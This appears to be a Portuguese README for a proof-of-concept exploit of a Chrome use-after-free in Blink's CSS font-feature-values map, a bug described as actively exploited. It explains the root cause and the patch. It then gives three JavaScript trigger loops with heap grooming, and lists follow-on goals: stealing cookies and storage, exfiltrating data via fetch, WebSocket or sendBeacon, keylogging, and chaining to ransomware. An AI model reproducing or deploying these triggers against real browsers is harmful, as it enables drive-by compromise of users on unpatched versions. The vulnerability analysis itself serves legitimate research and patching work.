
Prova de conceito para CVE-2026-2441, um use-after-free de CSS no Chrome que leva a RCE no renderizador com sandbox. Inclui três métodos de acionamento, heap grooming e análise detalhada.
CVSS 8.8 (Alto) | Explorado Ativamente na Natureza | RCE no Renderer (Sandboxed)
Uma vulnerabilidade de use-after-free no mecanismo CSS Blink do Google Chrome que permite que um atacante remoto execute código arbitrário dentro do sandbox do navegador por meio de uma página HTML maliciosa.
| Campo | Valor |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Alto) |
| Tipo | Use-After-Free (CWE-416) |
| Componente | Blink CSS — CSSFontFeatureValuesMap |
| Arquivo de Origem | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit da Correção | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Relator | Shaheen Fazim (2026-02-11) |
| Data do Patch | 2026-02-13 |
| Na Natureza | Sim — Google confirmou exploração ativa |
| Plataforma | Vulnerável | Corrigida |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navegadores baseados em Chromium (Edge, Brave, Opera, Vivaldi) | Consulte o aviso do fornecedor | Varia |
FontFeatureValuesMapIterationSource armazenava um ponteiro bruto (const FontFeatureAliases* aliases_) para o HashMap interno FontFeatureAliases. Quando o mapa é mutado durante a iteração via set() ou delete(), o HashMap faz rehash — alocando novo armazenamento e liberando o antigo. O ponteiro bruto torna-se pendente (dangling), e a próxima chamada a FetchNextItem() lê de memória liberada.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = ponteiro bruto para o HashMap interno
→ iterator_ = aliases_->begin()
FetchNextItem()
→ lê iterator_->key (através de aliases_)
Se map.set() / map.delete() for chamado entre iterações:
→ HashMap faz rehash (nova alocação, antiga liberada)
→ aliases_ → ponteiro pendente
→ iterator_ → invalidado
→ Próximo FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // ponteiro bruto → pendente após rehash
+ const FontFeatureAliases aliases_; // cópia profunda → imune a rehash
A correção substitui o ponteiro bruto por uma cópia profunda do HashMap. Mesmo que o mapa original faça rehash, o iterador opera em sua própria cópia, prevenindo o ponteiro pendente.
poc.html em uma versão vulnerável do Chrome (< 145.0.7632.75)| Versão do Chrome | Comportamento Esperado |
|---|---|
| < 145.0.7632.75 (sem patch) | Crash do renderer — STATUS_ACCESS_VIOLATION (Windows) ou SIGSEGV (Linux/macOS). O Chrome exibe o erro "Não foi possível abrir esta página". |
| >= 145.0.7632.75 (corrigida) | Sem crash — a PoC é executada até o fim, todas as entradas são lidas normalmente. |
Quando aberto em uma versão vulnerável do Chrome, o processo do renderer trava com STATUS_ACCESS_VIOLATION:
Não foi possível abrir esta página
Código do erro: STATUS_ACCESS_VIOLATION
Isso confirma que o UAF foi acionado — o ponteiro pendente acessa memória liberada/não mapeada, fazendo o processo do renderer ser encerrado.
A PoC aciona o UAF por meio de três métodos independentes:
entries() + Loop de Mutaçãoconst iterator = map.entries();
while (step < 20) {
iterator.next(); // leitura através do ponteiro (agora pendente)
map.delete(key); // aciona rehash
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // força realocação
}
for...of + Mutação Concorrentefor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + Recalc de Layoutfunction rafTrigger() {
document.body.offsetWidth; // força recalc de layout
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
Cada método também inclui heap grooming — alocando 50 regras @font-feature-values do mesmo tamanho para tornar o layout do heap previsível para possível exploração.
document.cookie, localStorage, sessionStorage, valores de campos de formuláriofetch() / WebSocket / sendBeacon()addEventListener('keydown')Quando combinado com uma vulnerabilidade separada de escape do sandbox:
RCE no Renderer (CVE-2026-2441)
→ Exploração de IPC Mojo → RCE no processo do navegador
→ Exploração do kernel → Comprometimento total do sistema
→ Instalação de malware / ransomware / spyware
→ Acesso ao sistema de arquivos, movimento lateral, persistência
Cadeias de exploração do mundo real usando UAFs semelhantes em navegadores:
Esta vulnerabilidade é explorável via drive-by download — nenhuma interação do usuário além de visitar uma página maliciosa é necessária:
chrome://flags/#site-isolation-trial-opt-out)| Data | Evento |
|---|---|
| 2026-02-11 | Vulnerabilidade relatada por Shaheen Fazim |
| 2026-02-13 | Google lança Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google reconhece exploração na natureza |
| 2026-02-16 | Vivaldi e Opera lançam correções |
Se você achar esta pesquisa útil, considere me pagar um café:
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso desta PoC contra sistemas sem permissão explícita é ilegal e antiético. O autor não é responsável por qualquer uso indevido.
MIT